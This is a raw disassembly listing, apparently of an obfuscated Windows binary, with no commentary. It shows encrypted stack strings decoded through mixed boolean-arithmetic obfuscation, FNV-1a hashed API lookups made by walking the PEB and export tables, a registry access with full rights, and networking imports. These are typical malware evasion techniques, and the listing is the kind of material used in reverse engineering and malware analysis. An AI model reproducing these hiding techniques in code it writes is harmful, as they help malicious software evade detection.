movzx eax, byte [rbp + r10 + 0xbb0]
add rax, r11
add r10, rax
add r10, r13
jmp 0x14013dcfc
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013dcf7
movabs rcx, 0x752d634cf9cce4e
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x22
jmp 0x14013dce7
lea rdx, [rbp + 0x1600128]
jmp 0x14013e8ad
lea rdx, [rbp + 0x1026c42]
jmp 0x14013e8ad
lea rdx, [rbp + 0xbb0]
lea rcx, [rbp + 0x400]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1b90]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14013e8e2
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x1b90]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1b90]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1b90]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x5e0], Ordinal_60
mov byte [rbp + 0x5e1], Ordinal_143
mov byte [rbp + 0x5e2], 0x61
mov byte [rbp + 0x5e3], 0xf3
mov byte [rbp + 0x5e4], 0x5a
mov byte [rbp + 0x5e5], 0xf1
mov byte [rbp + 0x5e6], 0x62
mov byte [rbp + 0x5e7], 0xf7
mov byte [rbp + 0x5e8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x5e9], 0xf5
mov byte [rbp + 0x5ea], 0x5b
mov byte [rbp + 0x5eb], 0xfb
mov byte [rbp + 0x5ec], WSACleanup
mov byte [rbp + 0x5ed], 0xf9
mov byte [rbp + 0x5ee], 0x5b
mov byte [rbp + 0x5ef], 0xff
mov byte [rbp + 0x5f0], r14b
mov byte [rbp + 0x5f1], 0xfd
mov byte [rbp + 0x5f2], 0x59
mov byte [rbp + 0x5f3], 0xe3
mov byte [rbp + 0x5f4], Ordinal_79
mov byte [rbp + 0x5f5], 0xe1
mov byte [rbp + 0x5f6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x5f7], 0xe7
mov byte [rbp + 0x5f8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x5f9], 0xe5
mov byte [rbp + 0x5fa], 0x7f
mov byte [rbp + 0x5fb], 0xeb
mov byte [rbp + 0x5fc], 0x7a
mov byte [rbp + 0x5fd], 0xe9
mov byte [rbp + 0x5fe], Ordinal_79
mov byte [rbp + 0x5ff], 0xef
mov byte [rbp + 0x600], 0x7a
mov byte [rbp + 0x601], 0xed
mov byte [rbp + 0x602], 0x88
mov byte [rbp + 0x603], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x604], 0x84
mov byte [rbp + 0x605], Ordinal_211
mov byte [rbp + 0x606], Ordinal_217
mov byte [rbp + 0x607], Ordinal_217
xor eax, eax
mov qword [rbp + 0x608], rax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x30
jae 0x14013f5ea
movzx r8d, byte [rbp + r9 + 0x5e0]
mov rdx, r8
cmp rdi, r9
ja 0x14013f5e1
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14013eaa1
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x14013eae5
je 0x14013f562
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013f4de
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013f4b1
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013f469
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14013f419
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x14013f5d8
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14013eb0b
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x14013ed20
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14013f3f8
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013f3d5
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013f3af
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013f389
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013f367
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14013f0d9
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013f0b7
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14013f091
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14013f06f
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14013f05b
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14013f039
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013f017
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14013eff3
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14013efd1
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14013efbd
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14013eb59
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14013f5b6
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14013f594
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14013ed59
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14013ed37
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14013ed11
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14013ef60
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14013ef06
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14013eeb7
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14013ee8d
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14013eb59
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14013ee79
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14013ee57
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14013ee35
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14013ee21
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14013edfe
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14013edd8
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14013edb5
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14013ed93
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14013ed7f
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14013eb59
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x14013eb59
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013eb4c
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x14013eae5
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013ea69
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x14013f1b7
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14013f45e
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x14013f461
movabs rdx, 0xabd141adc05e153c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013f486
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x14013f4ac
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14013f398
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14013f4ff
movabs rcx, 0x809131cb18d7db4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14013f52f
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14013f240
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
mov byte [rbp + r9 + 0x5e0], bl
jmp 0x14013f58c
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r10, 9
jb 0x14013eeaa
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14013f436
movabs rcx, 0x65191bf3727f4ba2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6e
cmp rdi, 0x1000
jae 0x14013f30e
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14013f257
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x14013eed8
movabs rcx, 0x1a4917fac89dbd26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14013f339
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14013f19f
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
jmp 0x14013ef23
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14013f240
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14013f52f
movabs rdx, 0xd390f2407abef38c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r15d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013f4ff
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14013f4cc
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14013f4ac
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x14013f212
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x14013f461
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013f45e
movabs rcx, 0x12b0da6c7f759ca4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14013f436
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14013f0ff
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013ef7d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013f12b
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14013f57d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013f152
movabs rdx, 0xb8b05b574343cd24
add rdx, r9
mov al, r8b
and al, dl
mov ecx, esi
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14013f35d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013f17e
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14013f4cc
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013ef7d
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14013f3be
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013f1ce
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013f436
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013f1fa
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14013f45e
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013f224
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14013f32f
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14013ef23
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013f57d
jne 0x14013f27b
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14013f57d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013f2a5
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14013f360
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013f2c2
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14013f398
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013f2ed
movabs rcx, 0xbc30baa7306928c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14013f486
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14013eed8
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14013f405
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x5e0]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
jmp 0x14013f486
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x5e0]
add bl, r8b
add bl, dl
jmp 0x14013f4ff
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x14013f4ff
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013f4cc
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013f4ac
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013f461
movabs rdx, 0xdc582daba1a1e692
mov ecx, r13d
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013f436
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x5e0], cl
add r10, r13
sub r9, r13
jmp 0x14013f58c
movabs rcx, 0x664819d0503a1e26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, bl
add cl, r8b
sub cl, sil
mov byte [rbp + r9 + 0x5e0], cl
add rdi, r10
jmp 0x14013f4cc
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013f58c
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x5e0], al
add r10, r13
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x5e0], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14013f57d
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, r15b
movzx eax, byte [rbp + r9 + 0x5e0]
add rax, r10
add r9, rax
add r9, r13
jmp 0x14013ea56
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x14013ea51
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x14013ea41
lea r12, [rbp + 0x145e388]
jmp 0x14013f5f1
lea r12, [rbp + 0x136aac6]
jmp 0x14013f5f1
lea r12, [rbp + 0x5e0]
mov r10, qword [0x1404fc178]
xor eax, eax
test r10, r10
jne 0x14013f768
mov esi, eax
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14013f672
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013f664
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013f653
cmp r8d, esi
jne 0x14013f744
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14013f744
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14013f744
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14013f6c6
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14013f6bb
cmp edx, r14d
je 0x14013f6dc
test r9d, r9d
jne 0x14013f6a6
jmp 0x14013f744
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x14013f75b
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14013f75b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14013f737
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14013f713
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14013f72a
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14013f758
cmp qword [rdi + 0x30], rax
jne 0x14013f622
mov r10, rax
mov qword [0x1404fc178], r10
xor eax, eax
lea r13d, [rax + 1]
mov qword [rsp + 0x40], rax
lea rcx, [0x1404fba68]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
xor eax, eax
test rdx, rdx
jne 0x14013f901
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r12d, 0x811c9dc5
test esi, esi
je 0x14013f81b
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, r12d
jmp 0x14013f80d
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x14013f7fc
cmp r9d, esi
jne 0x14013f8f2
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x14013f8f2
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14013f8f2
mov ebx, dword [r11 + 0x20]
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rdi
mov r8d, r12d
jmp 0x14013f86f
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r13
test dl, dl
jne 0x14013f862
cmp r8d, r14d
je 0x14013f885
test r10d, r10d
jne 0x14013f84f
jmp 0x14013f8f2
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x14013f8fa
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14013f8fa
mov esi, r12d
mov r14d, r12d
jmp 0x14013f8c3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14013f8b5
jmp 0x14013f8d8
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r13
mov al, byte [rdx]
test al, al
jne 0x14013f8cb
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14013f7c8
mov qword [0x1404fc118], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
xor eax, eax
test rbx, rbx
jne 0x14013fa74
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14013f989
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013f97b
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013f96a
cmp r8d, esi
jne 0x14013fa56
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x14013fa56
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14013fa56
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x14013f9dd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14013f9d2
cmp edx, r14d
je 0x14013f9f3
test r9d, r9d
jne 0x14013f9bd
jmp 0x14013fa56
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x14013fa6d
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14013fa6d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013fa35
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14013fa27
jmp 0x14013fa4a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r13
mov al, byte [rbx]
test al, al
jne 0x14013fa3d
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x14013fa6a
cmp qword [rbx + 0x30], rax
jne 0x14013f939
mov rbx, rax
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
xor eax, eax
test rdx, rdx
jne 0x14013fbed
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14013fb02
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14013faf4
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14013fae3
cmp r8d, esi
jne 0x14013fbcf
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x14013fbcf
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14013fbcf
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14013fb56
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r13
test cl, cl
jne 0x14013fb4b
cmp edx, r14d
je 0x14013fb6c
test r9d, r9d
jne 0x14013fb36
jmp 0x14013fbcf
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x14013fbe6
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14013fbe6
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14013fbae
